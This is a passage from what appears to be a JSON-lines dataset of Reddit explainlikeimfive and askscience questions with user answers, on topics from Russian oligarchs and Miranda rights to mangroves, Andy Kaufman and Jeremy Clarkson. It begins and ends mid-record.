live in Russia rather than America, but that doesn't change the fact that  the elites in America are in control. \n\nThis is something I like when it comes to liberal causes like gay rights or immigration, where businesses usually lobby against anything too crazy getting implemented. But it all goes to show that the rich in America have disproportionate influence, and most people don't like to face that because it shatters their vision of what America is about.\n\nAmericans used to agonize over heredity and the threat that an aristocracy would rule over America. Public leaders set the age of attaining office relatively high (25 for congress, 30 for senate, 35 for president) in part due to fears that a young inheritor would take power's reins based on name rather than accomplishment. Now, people don't worry about the rich becoming too powerful - they just want to be the powerful rich!", "Vice did a short documentary following a day in the life of a Russian Oligarch. [Interesting](_URL_0_)", "This may have been covered already; I think it is related to the manner of wealth -creation associated with the oligarch vs the business magnate. Oligarchs refer to those individuals who essentially 'privatised' public assets after the fall of the USSR. They didn't really build the businesses. I suppose you could argue that a lot of American business-people actually built businesses e.g. Walmart, Microsoft etc...", "Does anyone have a clue what Stalin's net worth might have been after WW2?", "Same reason your stuff is shit and my shit is stuff.", "Amurica!\n\n* Seriously though, in Amurica the rich can go to jail (example: wall streeters after the crash).  \n* In Amurica public opinion is not swayed by evil think tanks (example: global warming doesn't exist!).  \n* Our politics have a diverse set of people which attain the highest office (bush + bush + clinton + clinton's-gonna-run-against-bushes-other-son?)\n\n", "Because in the minds of the west, Russian businessmen are rich because of cronyism and exploitation where as US businessmen are rich because of their business acumen and hard work. Russians have significant and undue influence in politics because of personal relationships while Americans goes through the democratic process filled with informed voters. Russians are corrupt and backwards, US is the land of the free and home of the brave.", "Because they became rich more recently.", "Despite what many have written, it's pure optics. \nAmericans (and other western folks) are just as 'controlled' by the rich as Russians are. \nBut the way it looks to the population in these countries has to be different so they quietly accept this fact, due mostly to the notion of 'freedom' we are fed.\nDon't kid yourself, it's the same everywhere - president, prime minister, dictator or CEO the outcome and goals are all the same - profit and control.", "I don't think laws in Russia are as explicit in trying to separate government from influences of the wealthy.\n\nI think in Russia that their wealthy directly have their hands in the government.\n\nHere in the US, I think it's more under the table. Large corporations and the wealthy obviously have influence over the government here, but there's a layer of legalese that separates it from being direct. It's much more implied. Like, \"We didn't ACTUALLY do this thing, we just gave lots of money and perks to people that made this thing happen as a favor to us.\" In Russia, I think it's more like, \"we're rich and we did this. You got a problem?\"\n\nBUT, that's just my uninformed opinion based on absolutely nothing except my own speculations, and I certainly can't qualify anything I said here with any independently confirmed evidence.", "Propaganda mostly. But in fairness, Russia is marginally more corrupt, just not that much", "It's simple.  Who owns the media where you here the different descriptors?", "Because it's in the best interests of the American oligarchy for you to think that rich oligarchs in Russia are somehow \"bad\", while rich oligarchs in America are \"good\".  If more people realized that there really isn't any difference between the two groups....", "Because the press in the west get paid by those western oligarchs and are more or less complicit in supporting established power. The western oligarchs call themselves 'business magnets' so therefore the press does as well. In fact, America and Russia are both effectively oligarchies. ", "I think it might also be a media thing. The ny times always refers to Syrians as rebels but Iraqis as insurgents. So they may be accurate, but the consistency of the term may be due to media outlets using the same term so you know what they are talking about. ", "An oligarchy is where a small number of people control the government. If a small number of rich people in Russia literally have *control*(not influence) over government, then you'd call them oligarchs. If that's a misnomer or not, I don't know. \n\nIn the US, a \"business magnate\" is one who has great power in business. They're rich and powerful through business. ", "There is essentially no difference. Let's just call them both *plutocrats* or\n*robber barons*.", "If you travel to Russia, you will probably be asking the opposite question.", "Because it's not the same in USA.\n\nOligarchs are not just some richt people.\nThey are the group of people who practicly runs the country. \n\nLike dictators, but think like you have 25 dictators at the same time.\n\nI think you can look this wikipedia topics to get a better understanding.\n\n*_URL_1_\n*_URL_0_\n*_URL_2_", "Trust me, the Koch Brothers are most certainly Oligarchs. ", "Because propaganda. \n\nAnd you know what is most funny about it? Those shills could not even decide if they should push idea that Russia is absolute dictatorship or oligarchy (which are incompatible things).", "Americentrism. Russophobia. Latent Cold War commiphobia. \n\nSame reason why the Mujahideen were \"freedom fighters\" but the Taliban/Al Qaeda are \"terrorists\". (They are the same group.) ", "Who is paying the media?", " It's a very good question and I am so glad you asked it. In the USA man exploits man. In Russia, it's just the opposite.' (Apologies to Galbraith)", "Because we live in an oligarchy, and don't want to destroy the illusion.  As long as someone else out there is the big bad wolf, everyone will turn their attention away from within.", "In the same vein:\n\nWhy do we (Americans) call people who fight against an invading army from America for their independence \"Insurgents\" while we call those who fought the British in the Revolution \"Patriots\"?\n\nI consider these questions American koans.", "Because the US needs to paint Russian inequity as evil and American inequity as fair.", "We DO call them oligarchs though, the republicans are the ones who call them magnates\n", "You see, in America, you get fucking rich, *then* start greasing the wheels of power. In Russia, or, say, Mexico, the wheels of power *make* you rich in the first place because your family happened to have the right connections.", "Because it's our \"American\" oligarchs doing the describing.", "In Russia, the Oligarchs have direct access to government personnel and have a hand in forming policy, say over a dinner or two. In the USA Business Magnates have to hire third party agents to market their positions to government personnel and do not have a hand DIRECTLY in forming policy. Of course we all know the lines to be blurred, but if there is to be a distinction at all I think this is where we need to base it. ", "Its a derogitory term, \"oligarch\", because it suggests that the super wealthy russian is part of the russian elite who controls the russian government.\n\nNot to be confused at all with \"business magnate\", which is a capitalist of great skill and instinct, who climbed his way up the corporate latter on his own hard work and inginuity, and *just happens* to be part of the american elite who controls the american government.", "Because the \"news\" in America consists of rich people telling other rich people to convince the middle class to blame poor people. This is propaganda.", "Biased media. Russian media probably does something similar.", "Magnates; how the fuck do they work?", "Ours are oligarchs too,  we're just in denial about it.  Plus many of us would have to look up \"oligarchy\",  and research is hard. ", "This is one of the few threads I've read where the top-voted comment is absolutely wrong. Yes, it's absolutely correct that Russians are much richer\u2026but the reason why there are two terms is to separate a social, political, and cultural separation similar to that of Edward Said's Orientalism, where you use specific phrases and terms to alienate the other--that other being Russia in this case.", "Because you're reading non Russian news sources. Bias is everything. ", "Because while the Russians may have invented propaganda, the USA has become the master of it.", "Actually, USA can be considered an [Oligarchy](_URL_0_). Of course, the media and the politicians will never accept this, cause it's a no no word.", "I bet the Russian media portrays them pretty well in comparison to our \"business magnates\"", "I see what some people are saying about Russian Oligarchs personally controlling the government and being super-rich, vs American Plutocrats *hiring other people* to control the government and being super-rich.  Not being super-rich, I don't really see the difference."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.youtube.com/watch?v=Gye8ukFO-9s"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Oligarchy#Russian_Federation", "http://en.wikipedia.org/wiki/Privatization_in_Russia", "http://en.wikipedia.org/wiki/Russian_oligarch"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Oligarchy#United_States"], [], []]}
{"q_id": "1sa1bo", "title": "how did the miranda rights come to be?? what happened in the case between miranda and arizona that made this warning a requirement?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1sa1bo/eli5how_did_the_miranda_rights_come_to_be_what/", "answers": {"a_id": ["cdvgabg"], "score": [5], "text": ["The times they were a-changing.\n\nThe Constitution gives you certain rights but the language can be interpreted a lot of different ways. For example, you have the right to not be compelled to be a witness against yourself in a criminal case. What exactly does that mean? It's complicated :-p But Miranda helped clarify.\n\nThere was a movement in the 1960's towards giving suspects more rights. And the Supreme Court often reflects changing views. In fact, they pointed out that they were only requiring the police to do (basically) what the FBI did and was required for the Military. Miranda is an example of that changing attitude.\n\nMiranda was arrested. The police don't tell him his rights but then interrogate him for 2 hours. Eventually Miranda is given a form, this form has typed language at the top basically saying \"I know my rights\", Miranda writes out his confession on that form.\n\nHe goes to trial. The government wants to use that confession as evidence. They use it and Miranda is convicted. Miranda appeals and eventually gets to the Supreme Court. \n\nMiranda's attorney says that the government should not have been able to use the confession. He says that Miranda was never told that he had the right against self-incrimination (a right he has), and that Miranda was never told that he had the right to a laywer (a right he has). \n\nThe Supreme Court agreed. They said that you have a Fifth Amendment right to not incriminate yourself and a Sixth Amendment right to an attorney, including an attorney during police interrogation. Anything which violates your Constitutional rights is not admissible. And because a police interrogation is so intimidating, an interrogation without letting the person know that they have those Constitutional rights is inadmissable. Thus Miranda's confession in response to the interrogation was inadmissible evidence (just like *love is inadmissible evidence*).\n\n-------------------------\n\n >  I am currently reading about how Law transformed culture and it refers to the Miranda case and how even though the warning itself was not constitutionally required, it had become popularized to the point where people believed that it was required under the constitution. This confused me... does this mean that it isn't required? And also if you don't mind me asking, do you know the background on the case that led up to the Miranda case? Thanks in advance if you do end up answering :D\n\nThe Constitution is small. The amount of law saying what the Constitution means is ginormous. Thus, something may not \"be in\" the Constitution itself (like, you couldn't ctrl-f the text and find it verbatim), but it may still \"be in\" the Constitution. \n\nSo, the Constitution doesn't say \"all police officers have to 'Mirandize' suspects before an interrogation\". It's not \"in\" the Constitution. But the Supreme Court might say \"We think that the Fifth Amendment should be interpreted so that the police should inform suspects of certain rights prior to interrogation\". So it's \"in\" the Constitution because it's \"in\" the Fifth Amendment because the Supreme Court thinks it is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3hhk8z", "title": "why do we say \"dear ___\" when we draft a letter?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3hhk8z/eli5_why_do_we_say_dear_when_we_draft_a_letter/", "answers": {"a_id": ["cu7ez18"], "score": [6], "text": ["Dear means 'precious', 'beloved'.  It became a polite salutation for mail a few hundred years ago.  _URL_0_\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.etymonline.com/index.php?term=dear"]]}
{"q_id": "9u0zbu", "title": "why dont they separate and reuse the oil during an oil spill?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9u0zbu/eli5_why_dont_they_separate_and_reuse_the_oil/", "answers": {"a_id": ["e90pr6t", "e90qa4q", "e90yhpm"], "score": [5, 52, 4], "text": ["When millions of barrels of oil spill out onto the ground or into the ocean they would certainly like to be able to separate it out and reuse it. However, you seem to be ignoring the issue of it being **spilled out**. How do you think they are going to snatch up a million barrels of oil out of the ocean? What mechanism do you think is available to perform such a trick?", "I'm from Louisiana and oil spills can be a big topic there. Here is what I know:\n Oil is collected and used but not all of it can be. You see, the ocean can spread the oil deep and far, meaning not all of it reaches the surface right away. After the BP spill tar balls washed up on the beaches along the gulf coast long after the spill stopped. Sometimes rough seas will break up a large slick so it's a lot of small oil bits making it difficult to contain and reclaim. \n\nBut, let's say we have an oil spill on calm seas so it's all in one place and will be for awhile. Coast Guard has contained it with booms and now its waiting to be collected. Under these ideal conditions, the oil still can't be as fully utilized as uncontaminated oil. It will have uses but salt and other stuff in the oceans render it less than ideal. This is, of course what we can get right away. The longer it stays in the ocean, the more it deteriorates. Once it reaches the stage of the tar balls I mentioned earlier it becomes useless bad has to be safely disposed of. \n\nAll in all, from an oil spill we can only recover a fraction, maybe a fourth of it max in some useable form. ", "My environmental professor told us 10000 times... currently the solution to pollution is dilution"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "656zy9", "title": "can pressure be converted to power?", "selftext": "Would it be possible to generate energy (usable power, lights, electricity, etc.) by converting the force applied on an object at the bottom of the ocean into power?\n\n--Edit to clarify what type of energy.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/656zy9/eli5_can_pressure_be_converted_to_power/", "answers": {"a_id": ["dg80v28", "dg87lo4"], "score": [15, 6], "text": ["Actually, there are several clocks that are powered by changes in atmospheric pressure. There has to be changes though, the mere presence of static pressure can't generate energy. \n\n_URL_0_\n\nEdit: the clock I linked is powered by changes in temperature as well, but there are a few one-off pieces that are powered by fluctuations in atmospheric pressure alone. ", "There are a couple good answers here, but I wanted to add a little more. \n\n\"Work\", in terms of physics is effort and displacement. If you have a weight and you pick it up, the effort is the force you use to counteract the weight, and the displacement is how far you lift it. \nJust like how velocity is the RATE of displacement (meters PER second), power is the RATE of work. therefore, power is the product of effort and rate of displacement.\nIn a linear system, power is force*velocity. In a rotary system, power is torque(effort)*angular velocity. Finally, to get back to hydraulics, power is the pressure(effort) multiplied by the mass flow rate. \n\nSo, in order to get power out of water pressure, the water has to flow somewhere. Say you built some facility at the bottom of the ocean filled with air, and you allowed water to flow in and air flow out, where the air and water both flow through turbines, you could generate an enormous amount of power. However, what do you do once the facility is full of water? Well, you would have to pump the water out and fill it back up with air. This takes energy. In a perfect world (with no losses to friction in the pumps, electric losses in the motors, viscous losses in the pipes) it would take exactly as much energy as what you got out of it. \n\nHowever, you could theoretically use this as a method to store energy. Say you have some power generating facility where the generators are most efficient at one power generation rate. The load will fluctuate based on the needs of what it's supplying. Let's say at high noon everyone leaves their refridgerators open and at midnight everyone is asleep and they use virtually no power. Well, the power generation facility could use its excess energy to pump out the water in the facility at the bottom of the ocean. At high noon, the underwater facility could start allowing water in, generating power to supplement the power generation facility. \n\nSorry that was pretty long and maybe confusing but i'm an engineer and i'm watching presentations, bored af. \n\nTl;dr, you cannot use it to continuously generate power, but you can use it to store energy similar to a Co2 canister, except in reverse. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Atmos_clock"], []]}
{"q_id": "e5aaqh", "title": ". in mangroves how do plants filter out the salt water and what do they do with the salt?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e5aaqh/eli5_in_mangroves_how_do_plants_filter_out_the/", "answers": {"a_id": ["f9ip6qv"], "score": [37], "text": ["It depends on the mangrove. \nSome mangroves use osmotic pressure in their root systems to limit the salts that are absorbed into the plant. Red mangroves do this-they are called excluders \n\nOther mangroves (like the black and the white mangroves) have glands that will collect all the salt and extrude it. These are called extruders. For a black mangrove, the glands are on the back of the leaves...if you turn over a black mangrove leaf, it\u2019s encrusted with salt...\n\nBUT the red mangrove can ALSO extrude using \u201csacrificial leaves\u201d. The tree will funnel what salt IS absorbed into one leaf per branch. That leaf will die because of the salt and then when it dies and falls, the tree will use a different leaf while the first one grows back. \n\nRed mangroves are special..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2we1in", "title": "the appeal of andy kaufman. why is he considered such a \"genius\" as a \"comedian\"? was most of his stuff even supposed to be funny? why do comedians seem to love him so much?", "selftext": "I get that comedy requires context, and even the greats have material that seems dated when viewed from a modern perspective, but if not laughing at his material was the only issue, I could at least understand his work intellectually, in the context of the time, and accept that it *was* funny even if I'm not laughing.   I even understand why performers and comics might like him, since he played with the form and conventions of the genre in ways they'd like to.\n\nThe part that confuses me is: if the jokes on the audience, why were people so eager to allow this \"genius\" to act out his contempt for the audience on stage?   It seems like everyone was just desperate to not seem like the person who didn't \"get it\", so they'd laugh at things that just weren't that funny (the mighty mouse \"joke\"), and just generally give him way more respect and credibility than his material justified.  And lets say half of it isnt even supposed to be funny,  but instead is meant to be thought provoking performance art; even then, its not that great in that genre, and that's an implicit admission that its not that funny.  It seems like a \"too cool for the room\" thing, but that room was a comedy club that people paid to attend.\n\n But it seems like a bunch of comics who I love love Andy Kaufman, and they must know what they're talking about,  or see something in his work that I don't, right?  Id love for someone to explain to me why I'm wrong about him, and why he deserves the \"genius\" label.  I want to like him, I really do.  It just seems like its all hype to me and when you get down to the bare bones of what makes a comic funny or not funny - theit material - his just isn't that great.  But id love for someone to show me where I'm wrong.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2we1in/eli5_the_appeal_of_andy_kaufman_why_is_he/", "answers": {"a_id": ["copze6l", "copzkpp", "copzqjc", "coq1f5c", "coq2qpj", "coq43t2", "coq47u0"], "score": [21, 6, 3, 6, 25, 2, 3], "text": ["He is the \"anti-comic\". He was mainstream funny at the beginning of his career and it was almost like he got tired of the fact that people laughed at him but didnt understand the \"why\". People look at him like he lost it and started doing all this crazy unfunny stuff but what I thought was he got tired of the audience. Like he became mad at the people who he entertained. Then he wanted to annoy and piss them off which that shift is in and of itself brilliant. People still couldnt get enough. He went beyond comedy in order to prove that the audience really is stupid.", "Just because the joke's on the audience doesn't mean that the audience isn't laughing.\n\nHis college tours were tremendously popular.  His audience weren't idiots, and they weren't going to not laugh.  A lot of people got it, and they loved it.\n\nThere were even a lot of people who got his pro wrestling forays.  He was playing a perfect heel, and it was amazing.\n\nIf you watch \"I'm From Hollywood\" and you don't laugh, then don't bother.  He's just not your thing.  That's life.", "There are a lot of examples of people or artists that aren't picked up by the masses but loved by other people in their field. [Nick Drake](_URL_0_) anly released 3 albums and then killed himself, but he's revered in folk and rock. Of [The Velvet Underground](_URL_1_) it is said that they only had 1000 fans, but each of those went out and started their own band.\n\nGoing back to 'why', I think it has more to do to his willingess to bend the contemporary rules of what comedy actually is/was. He wasn't against trying new things, often taking a beating as he pushed the envelope. He also was absolutely dedicated to his characters and viewed his work as more of a performance over a comedy act. He reveled in the eye of the press, often having very public pranks or showing up to places in character, which would eventually lead to him being kicked out of places.\n\nI don't find him particularily funny myself, but you can give the man credit for trying something new.", "I'm 99.9% certain that Karl Pilkington is the greatest deadpan comic who ever lived. But there is this slim possibility he is just a moron--and I can never quite shake that.\n\nIs it like this maybe?", "Part of the appeal was his introverted, anxious presence; Kaufman genuinely didn't have the personality of an entertainer. For example, the recent SNL 40th Anniversary featured a segment of auditions, and Kaufman's visible discomfort contrasts with the effortless 'future star' confidence of other auditioning comedians. The idea of an audience, point blank, *expecting* entertainment actually did fill him with anxiety, and contempt.\n\nSo comedians revere his willingness to go on stage and combat those expectations without compromise. Not just subverting cultural moors or expressing himself honestly, like Lenny Bruce or Richard Pryor did. But truly experimenting with the stand-up format. Making the audience's expectations part of the joke itself.\n\nOne famous Kaufman bit was going on stage and, almost expertly, bombing. Bombing *hard*. Basically crying when the audience rejects him, running off stage. The host, in near shock, reprimands the audience, drumming up support for Kaufman to return. Kaufman does, to glorious applause. Then proceeds to deliver the exact same bombing set. Except this time it's hilarious. Then you see, the first set wasn't a failure. It was a set up to a joke. It got the audience emotionally involved, just in a negative way. The second set is the cathartic punchline.\n\nComedians *work* in the field where Kaufman innovated. His obvious (negative) emotional reaction is something they can sympathize with. So that's why they love him; Andy Kaufman represented the comedian point-of-view, instead of the audience's. Comedians will naturally enjoy it more than the average comedy fan.", "Could you provide a context for comedians you do find funny that maybe others don't \"get\"?", "To your main point: Comedy is built upon uneasiness and Andy proved it.\n\nMore ideas:\nA lot of what we think of as entertainment is thought of as performance art by those doing it. jackass. kanye publicity stunts. steve martin. all that is performance art. Andy Kaufman was extremely committed to his character and popularized and owned a comedic strategy that was somewhat revolutionary. He found new clever ways to get people to laugh. \n\nFor a comedian, standard comedy doesn't do trick because \"I've seen that a million times and can do it too.\" It's similar to any other breakthrough in a profession which opens the door to more developments. It's freeing and inspiring. \n\nAndy was committed to his act and beliefs, and was pro at it and successful. It's nice to see someone's unusual approach work. It is especially nice to see that through sheer willpower and belief an idea, you can sometimes make it work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Nick_Drake", "http://en.wikipedia.org/wiki/The_Velvet_Underground"], [], [], [], []]}
{"q_id": "223gng", "title": "why civilian authorities were involved in the fort hood shooting yesterday", "selftext": "I only read a little bit on this yesterday, but from what I gather the short of it is:\n\n*Guy starts shooting people\n*Base (and near by town?) go on lock down\n*MPs and SWAT corner the guy\n*Guy shoots himself\n\nMy question is why was the SWAT team there? In a spot that houses one of the most lethal fighting forces in the world, whose job it is to protect the country from a full out invasion, why were the soldiers unable to deal with the threat of a single shooter?\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/223gng/eli5_why_civilian_authorities_were_involved_in/", "answers": {"a_id": ["cgiyutz", "cgizdg4", "cgizi4o", "cgizmuw", "cgizo66", "cgjep4t"], "score": [35, 5, 3, 11, 9, 2], "text": ["most likely because 99% of military firearms are stored in arms rooms (giant 4\" thick steel(?) door), with ammo being stored at a separate facility (ammo supply point).\n\nto mobilize a unit/company/platoon to go fight this, you would have to not only get authorization to open the arms room (or have one of like, 3 people available who know the combo), then get transportation to the ASP, then find your way to that shooter. far too long. police, MPs, SWAT all have weapons readily available and are made for quick reaction.", "Installation anti-terrorism officer wrote memorandums of agreement with local law enforcement agencies to augment existing military police force in the event of an emergency like this. \n\n\nMilitary equipment is usually locked away , but every post has units on call to fight at a moments notice and the on post military police may not be able to respond fast enough of there isn't sufficient warning of credible threats. \n\n\nThreats like active shooter are so rare and random that you cannot hold higher FPCON levels. At some point, you have to accept risk. \n\n\n\nThe risk mitigation for events like this would be agreements with local law enforcement who has a better operations budget for stuff like this. ", "Aside from MPs, soldiers are generally not armed while on base. And, other than MPs, bases aren't really set up to or expecting to arm people at a moment's notice.", "Not that it means a whole hell of a lot any more, but the [Posse Comitatus Act](_URL_0_) generally prohibits the Military from serving a domestic law enforcement role.\n\nAlso, I'm not sure what you think US Military Bases are like, but they don't sit around on base all day with everyone carrying loaded weapons ready to go at a moment's notice. Unless they are engaging in live-fire training or standing a post as an MP, weapons and ammo are separated and locked up. Local police are in a much better position to respond.", "As someone in the military i can tell you it is not within our training nor our jurisdiction to handle these types of domestic situations.", "Military bases are gun-free zones, just like the VAST majority of sites in which mass shootings occur."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Posse_Comitatus_Act"], [], []]}
{"q_id": "2vvh24", "title": "what is happening in a biological sense when a soldier develops a 'thousand yard stare'?", "selftext": "I recently viewed this picture _URL_0_ and although I've heard of a thousand yard stare before, I've never known what's actually happening to the body during it. Obviously I understand that there will be levels of fatigue and adrenaline involved but is this just it? If anyone can shed some light on it for me it would be much appreciated. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2vvh24/eli5what_is_happening_in_a_biological_sense_when/", "answers": {"a_id": ["col993h", "colb4y9"], "score": [4, 10], "text": ["I'm not sure how to express this in terms of neurology or biology, but it's when you stop using your eyes to see, and start using them to remember events, or access visual memory. It's not unique to soldiers. Anyone who's seen something traumatic can get this look about them at times.", "The easiest way to think about it is \"zoning out\". Except instead of daydreaming about cute, fuzzy animals, you're thinking about some awful shit from the past. And \"thinking about\" isn't even a great way to put it. It's like watching a movie, sort of. Everything is replaying in your mind from that event. You can still see things around you, but your mind tunes it all out. For example, say you're on a bench near a busy street, staring at your phone, texting your friend. You're ever so vaguely aware that cars are driving past you, but they may as well not even exist. Some parts of your brain, like the amygdala, aren't very good at determining if a percieved threat is real or imagined; it will react the same way whether you're remembering a traumatic event, or actually experiencing one. So often times, something that will give away the thousand-yard-stare is the look of fear (sometimes anger, disgust, etc.). A guy starts zoning out, thinking about a traumatic event such as a particularly nasty battle, that while scene starts to play like a movie in his mind, the outside world sort of fades away, and now his brain is reacting to this memory of the event *almost* as if it were really happening on some levels. The guy isn't focused on anything, just staring into nowhere. He looks scared shirtless. That's the thousand-yard-stare. It can happen 10 minutes after the event, or ten years. \n\nNow, I don't know about all the exact science. I'm sorry if regurgitating how it's been explained to me by professionals. \n\nSource: Have done it countless times, have seen it countless times. Back when I was going to group therapy with other vets, this would come up every once in a while. "]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/BqtkF.jpg"], "answers_urls": [[], []]}
{"q_id": "i9m6k", "title": "Methods for long term dna storage?", "selftext": "So, just hypothetically, what would be the best method to store dna for long periods of time, (and what kind of range is currently technically feasible? 100 years? 1000 years?) storage with minimum degradation, as the dna would be intended for cloning purposes?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/i9m6k/methods_for_long_term_dna_storage/", "answers": {"a_id": ["c21zvgf", "c21zwae", "c221k2j"], "score": [4, 4, 2], "text": ["Well, in my lab we store DNA in buffer in a regular freezer. It lasts as long as the freezer does. Basically if you keep it cold enough and mechanically stable, not much can happen to it. Perhaps a dewar of liquid nitrogen would be a good solution. The thing about long long term storage is you have to make sure people in the future don't tamper with it. Maybe drill a kilometer down in the Antarctic ice, lower some samples in, then fill in the rest with water and let it freeze.", "[TE buffer](_URL_0_) at -80 \u00baC is the preferred laboratory long term storage method, I believe.\n\nAnd considering that DNA has been recovered from Neanderthal remains (which are at least 25,000 years old at minimum, although I don't actually know the age of the specimens that DNA *has* been isolated from), I'd say that you're looking at a really friggin' long time, assuming you stick it in the -80 (and keep it running for tens of thousands of years).", "Carve the base sequence into a slab of iridium."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/TE_buffer"], []]}
{"q_id": "309tdn", "title": "why are people supporting jeremy clarkson when he punched his boss and threw a fit?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/309tdn/eli5why_are_people_supporting_jeremy_clarkson/", "answers": {"a_id": ["cpqeqps", "cpqes31", "cpqf084", "cpqgxkk", "cpql5ij", "cpql5uc", "cpqn31v", "cpqqfjw"], "score": [11, 17, 67, 4, 11, 11, 9, 2], "text": ["Because Jeremy Clarkson has somehow managed to amass the sort of following that doesn't give a solitary shit about his behaviour (bigoted, or violent) as long as he shouts 'POWERRRR!' or 'DAS AUTOBAHHHHHN!' at them once a week for an hour.", "People feel a loyalty and connection to Clarkson, not the producer, so they support him, despite what he did.", "There are a variety of reasons.\n\n* Something to bear in mind is that anyone who was likely to be turned off by Clarkson being an arsehole has long since departed.  He's done plenty of controversial and offensive things already, thus weeding his fanbase down to only the core of people who don't care about that sort of thing\n\n* Some people just want to see the show and literally don't care about what Clarkson did\n\n* Some people see Clarkson as a valiant warrior against political correctness and/or leftism at the BBC, and they think that the beeb is just looking for an excuse to sack him to advance their 'agenda'", "Because deep down we'd all like to punch our boss at some time.", "I'm torn on the topic.\n\nI don't want to see a show that I love watching lose all 3 of its hosts, but on the other hand, Clarkson punched a guy in the face over an absence of hot food. That's absurd.", "I have the same questions. How come there is so much hate for Kanye West and Justin Bieber, but Jeremy Clarkson gets a free pass? I'm not saying that I think they all deserve the same, I just think there's a double standard and a lot of cognitive dissonance going on. \n\nHow come Kanye West is an asshole egomaniac for taking the stage out of turn at an awards ceremony, and Bieber is a spoiled little shit for whatever antics he pulls, but Jeremy Clarkson is some kind of tragic hero for getting fired over physically assaulting another person? \n\nI guess all I'm saying is that I think whenever you want to praise or damn someone you don't actually know, maybe just put things in perspective a bit. I don't really think the shit Clarkson pulled is earth-shatteringly outrageous, but by the same token I don't think the shit Kanye, or Bieber, or whatever other celebrity in the same vein did is all that earth-shattering either.", "If a single moderate force punch to the face of a male coworker is the threshold for being blackballed in entertainment I have a few follow up questions about the following individuals:\n\n-Roman Polanski\n-Russel Crowe\n-Sean Penn\n-Naomi Campbell\n-Charlie Sheen\n-Chris Brown\n-Chris Brown\n-CHRIS BROWN!!!\n\nThe BBC are not the bad guys.  And in fairness more media companies should follow their lead.  But they don't.", "Despite the latest fashion of believing otherwise, all men are not created equal.  Some people should be forgiven their mistakes because their positive contributions to society far outweigh that one temper tantrum they threw that one time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "7c6mug", "title": "why do we continually need to search for new porn to arouse us? what exactly is it that eventually drains all previous porn off its original arousability?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7c6mug/eli5_why_do_we_continually_need_to_search_for_new/", "answers": {"a_id": ["dpnlm5j", "dpnmn40"], "score": [18, 5], "text": ["Much in the same way we don't watch the same exact TV show episode daily, why we don't wear the same exact outfit daily, don't listen to the same song over and over in perpetuity or eat the same meal over and over in general.\n\nYour mind does not derive any more stimulation due to over saturation.  The mind generally craves innovation and stimulation as humans.  When it becomes repetitive and the brain stops signaling stimulation for viewing, your mind craves for something different to reach that stimulation level.\n\nEdit: I am sure somebody can breakdown the exact science in the brain.", "I think it's the novelty of it. And access. If there was less access, people would watch the same scenes over and over and over and over and over again. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "xghko", "title": "the civil unrest in anaheim and how the government has responded", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/xghko/eli5_the_civil_unrest_in_anaheim_and_how_the/", "answers": {"a_id": ["c5m7yen", "c5mackv"], "score": [6, 5], "text": ["Long story short, there is a protest against police brutality going on. Some people are using this as a cover for looting and rioting. Police respond with heavy shit (guard dogs, grenade launchers with non-lethal ammo). People protesting police brutality are decidely unhappy about this, for obvious reasons.\n\nThis is just a quick overview gleamed from news reports and online chatter. Someone closer to the protests can probably describe this better than me.", "Without going into too much detail because I don't feel like typing it all out, I will briefly explain why the Police react this way.\n1st: The State responds with brute force to any and all opposition to the State or any agents thereof. If you look back at history, you will see a sovereign State has never peacefully dealt with any opposition (rare exceptions). Whether it is with a public show of force or quiet subversion, the State always responds in this way. Why? To protect the power and interests of the ruling class administering the State. Police Brutality is State-sponsored harassment and intimidation to keep the populace in line. Now that you've witnessed your comrad getting killed by a tear gas canister to head, or your baby mauled by an attack dog, maybe you won't want to rise up anymore.\n2nd: National Security. Most (not all) uprisings are result of outside influence. Examples: what the CIA did in Iran, Syria, Central and South America, Libya, and Africa. The State, knowing it has a disinformed, docile, and apathetic population realizes any uprising may be the result of outside influences who wish to subvert the State. Is it China? Russia? Islamists? Communists? Therefor, prostests must have permits or be squashed right away.\n3rd: Police are scared and have the mindset Kill or Be Killed. A police officer doesn't know what is going to happen to him from  one moment to the next. This is hard for civillians to understand, but in situations like these, they are trained not to think, they react; fast and hard. Survival Mode. The same goes for if someone assaults you in a bar. Do you push them away and say \"stop that\"? No, you drop them right then and there because you don't know who they are or what they're capable of, or what they're going to do to you. Adrenaline is surging. Police are shown 